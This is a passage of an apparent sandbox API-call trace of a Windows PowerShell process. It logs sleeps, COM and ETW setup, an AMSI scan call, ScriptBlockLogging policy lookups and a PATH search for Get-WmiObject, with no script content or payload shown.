(dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0274.658] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0274.751] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0274.845] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0275.143] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0275.236] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0275.378] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0275.476] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0275.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0275.658] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0275.723] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0275.766] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0275.860] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0276.104] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0276.215] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0276.345] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0276.458] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0276.550] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0276.645] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0276.739] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0276.831] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.040] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.126] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.220] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.314] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.407] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.501] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.594] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.689] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.783] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0277.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.095] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.188] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.298] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.418] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.663] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.751] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.832] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0278.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.066] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.110] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.158] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0279.205] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0289.451] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0289.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.002] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.060] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.111] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.178] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.186] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.201] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.246] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.289] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.357] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.428] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.527] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.539] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.601] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.616] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.649] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.689] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.698] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.844] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.906] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0291.063] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0291.092] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0291.196] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 Thread: id = 195 os_tid = 0x910 Thread: id = 198 os_tid = 0x132c [0208.349] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0208.349] CoGetContextToken (in: pToken=0x7befa1c | out: pToken=0x7befa1c) returned 0x0 [0208.349] CObjectContext::QueryInterface () returned 0x0 [0208.349] CObjectContext::GetCurrentThreadType () returned 0x0 [0208.349] Release () returned 0x0 [0208.349] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0208.349] CoUninitialize () [0208.349] RoInitialize () returned 0x1 [0208.349] RoUninitialize () returned 0x0 [0291.323] CoGetContextToken (in: pToken=0x7bef7cc | out: pToken=0x7bef7cc) returned 0x0 [0291.323] IUnknown:QueryInterface (in: This=0x11bb078, riid=0x72d75e8c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x7bef7f0 | out: ppvObject=0x7bef7f0*=0x11bb084) returned 0x0 [0291.323] IComThreadingInfo:GetCurrentThreadType (in: This=0x11bb084, pThreadType=0x7bef81c | out: pThreadType=0x7bef81c*=0) returned 0x0 [0291.323] IUnknown:Release (This=0x11bb084) returned 0x1 [0291.335] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 199 os_tid = 0x1330 [0208.527] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0208.527] RoInitialize () returned 0x1 [0208.527] RoUninitialize () returned 0x0 [0208.540] GetCurrentProcessId () returned 0x9d0 [0208.544] EtwEventWriteTransfer (RegHandle=0x1189890, EventDescriptor=0x2e, ActivityId=0x7c6f14c, RelatedActivityId=0x7c6f0fc, UserDataCount=0x0, UserData=0x8) returned 0x0 [0208.544] EtwEventWriteTransfer (RegHandle=0x1189890, EventDescriptor=0x2e, ActivityId=0x7c6f178, RelatedActivityId=0x7c6f128, UserDataCount=0x0, UserData=0x2) returned 0x0 [0208.546] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x670 [0208.552] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_Disabled", lpBuffer=0x7c6e8ac, nSize=0x80 | out: lpBuffer="က熀\x01") returned 0x0 [0208.552] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_MinCount", lpBuffer=0x7c6e8ac, nSize=0x80 | out: lpBuffer="က熀\x01") returned 0x0 [0208.556] EtwEventRegister (in: ProviderId=0x5106674, EnableCallback=0x7242cf6, CallbackContext=0x0, RegHandle=0x5106650 | out: RegHandle=0x5106650) returned 0x0 [0208.556] EtwEventSetInformation (RegHandle=0x761bc00, InformationClass=0x50, EventInformation=0x2, InformationLength=0x5106618) returned 0x0 [0208.559] ConnectNamedPipe (in: hNamedPipe=0x654, lpOverlapped=0x510685c | out: lpOverlapped=0x510685c) returned 0 Thread: id = 200 os_tid = 0x1050 Thread: id = 201 os_tid = 0x11e4 Thread: id = 204 os_tid = 0x120c Thread: id = 224 os_tid = 0x1314 [0234.084] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0234.129] RoInitialize () returned 0x1 [0234.129] RoUninitialize () returned 0x0 [0234.155] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x87bef9c*=0x6e8, lpdwindex=0x87bedbc | out: lpdwindex=0x87bedbc) returned 0x0 [0234.163] SetThreadUILanguage (LangId=0x0) returned 0xef0409 [0234.210] EtwEventRegister (in: ProviderId=0x537affc, EnableCallback=0x7242e06, CallbackContext=0x0, RegHandle=0x537afd8 | out: RegHandle=0x537afd8) returned 0x0 [0234.211] EtwEventSetInformation (RegHandle=0x761c980, InformationClass=0x59, EventInformation=0x2, InformationLength=0x537afb0) returned 0x0 [0234.605] CoCreateGuid (in: pguid=0x87bee08 | out: pguid=0x87bee08*(Data1=0x9d6f8b6a, Data2=0x2d82, Data3=0x4a1c, Data4=([0]=0x86, [1]=0xa4, [2]=0xc7, [3]=0xe, [4]=0x81, [5]=0x9e, [6]=0x8f, [7]=0x42))) returned 0x0 [0234.637] QueryPerformanceCounter (in: lpPerformanceCount=0x87bede8 | out: lpPerformanceCount=0x87bede8*=32942904179) returned 1 [0234.660] AmsiOpenSession () returned 0x0 [0234.660] AmsiScanString () returned 0x80070015 [0236.011] CoCreateGuid (in: pguid=0x87be298 | out: pguid=0x87be298*(Data1=0xa4ad0840, Data2=0xed51, Data3=0x4913, Data4=([0]=0x82, [1]=0x1, [2]=0x20, [3]=0xdb, [4]=0x5f, [5]=0x13, [6]=0x1, [7]=0xc4))) returned 0x0 [0239.852] QueryPerformanceCounter (in: lpPerformanceCount=0x87bedb0 | out: lpPerformanceCount=0x87bedb0*=33464431961) returned 1 [0239.901] EtwEventRegister (in: ProviderId=0x53899cc, EnableCallback=0x7242f3e, CallbackContext=0x0, RegHandle=0x53899a8 | out: RegHandle=0x53899a8) returned 0x0 [0239.902] EtwEventSetInformation (RegHandle=0x78d1210, InformationClass=0x63, EventInformation=0x2, InformationLength=0x5389978) returned 0x0 [0239.902] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x87bec20, nSize=0x80 | out: lpBuffer="ⶴ鷁က溕스溠\x01耀哔狎⵰鷁\x02") returned 0x0 [0240.365] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87bee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bee78*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9d, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0240.365] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bede4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bede4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0240.365] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bee68*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9d, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bee68*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9d, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0240.381] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x87bee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bee78*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9e, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0240.381] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x87bede4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x87bede4*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9d, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0240.381] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x87bee68*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9e, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1)) | out: ActivityId=0x87bee68*(Data1=0xa8ae3886, Data2=0xf12a, Data3=0x0, Data4=([0]=0x9e, [1]=0x55, [2]=0xae, [3]=0xa8, [4]=0x2a, [5]=0xf1, [6]=0xd5, [7]=0x1))) returned 0x0 [0240.733] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x87be434, nSize=0x80 | out: lpBuffer="┨鷁က溕က溕") returned 0x0 [0240.733] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x87be434, nSize=0x80 | out: lpBuffer="┨鷁က溕က溕") returned 0x0 [0240.742] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x87be420, nSize=0x80 | out: lpBuffer="က溕က溕") returned 0x0 [0240.754] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x87bec8c | out: phkResult=0x87bec8c*=0x0) returned 0x2 [0240.755] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x87bec8c | out: phkResult=0x87bec8c*=0x0) returned 0x2 [0240.757] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x87be3f0, nSize=0x80 | out: lpBuffer="က溕က溕") returned 0x0 [0240.992] CoCreateGuid (in: pguid=0x87beba8 | out: pguid=0x87beba8*(Data1=0x44f0a78d, Data2=0x2712, Data3=0x45b1, Data4=([0]=0xbb, [1]=0xbe, [2]=0xc3, [3]=0x9c, [4]=0x67, [5]=0x7c, [6]=0x89, [7]=0xea))) returned 0x0 [0241.011] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x87be828, nSize=0x80 | out: lpBuffer="ࡻࡻࡻ஗Ȁ渴濋") returned 0x0 [0241.016] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x87be744, nSize=0x80 | out: lpBuffer="") returned 0xbc [0241.016] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x87be6cc, nSize=0xbc | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0241.200] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x87be6b8, nSize=0xbc | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0241.230] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x11fcf28 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0241.331] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x87be6c0, nSize=0xbc | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0241.333] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x104, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0241.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be7f8) returned 1 [0241.333] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x87be874 | out: lpFileInformation=0x87be874*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be7f4) returned 1 [0241.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be874) returned 1 [0241.335] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0241.336] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0241.338] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Get-WmiObject.*", lpFindFileData=0x87be59c | out: lpFindFileData=0x87be59c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0241.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be814) returned 1 [0241.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be820) returned 1 [0241.339] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x87bdf50, nSize=0xbc | out: lpBuffer="抈猲") returned 0x0 [0241.340] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0241.340] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0241.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be7f8) returned 1 [0241.340] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x87be874 | out: lpFileInformation=0x87be874*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec28c54, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xebb5ab66, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xebb5ab66, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0241.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be7f4) returned 1 [0241.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be874) returned 1 [0241.340] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0241.340] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0241.340] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\Get-WmiObject.*", lpFindFileData=0x87be59c | out: lpFindFileData=0x87be59c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0241.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be814) returned 1 [0241.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be820) returned 1 [0241.341] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0241.341] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0241.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be7f8) returned 1 [0241.341] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x87be874 | out: lpFileInformation=0x87be874*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0241.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be7f4) returned 1 [0241.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be874) returned 1 [0241.341] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0241.341] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0241.342] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\Get-WmiObject.*", lpFindFileData=0x87be59c | out: lpFindFileData=0x87be59c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0241.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be814) returned 1 [0241.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be820) returned 1 [0241.342] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0241.342] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0241.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be7f8) returned 1 [0241.342] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x87be874 | out: lpFileInformation=0x87be874*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb288124d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb288124d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0241.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be7f4) returned 1 [0241.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be874) returned 1 [0241.342] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0241.342] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0241.343] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Get-WmiObject.*", lpFindFileData=0x87be59c | out: lpFindFileData=0x87be59c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0241.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be814) returned 1 [0241.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be820) returned 1 [0241.343] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0241.343] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0241.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be7f8) returned 1 [0241.343] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x87be874 | out: lpFileInformation=0x87be874*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x172cbef, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8cfff4c6, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0241.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be7f4) returned 1 [0241.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be874) returned 1 [0241.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0241.344] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0241.345] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Get-WmiObject.*", lpFindFileData=0x87be59c | out: lpFindFileData=0x87be59c*(dwFileAttributes=0x0, 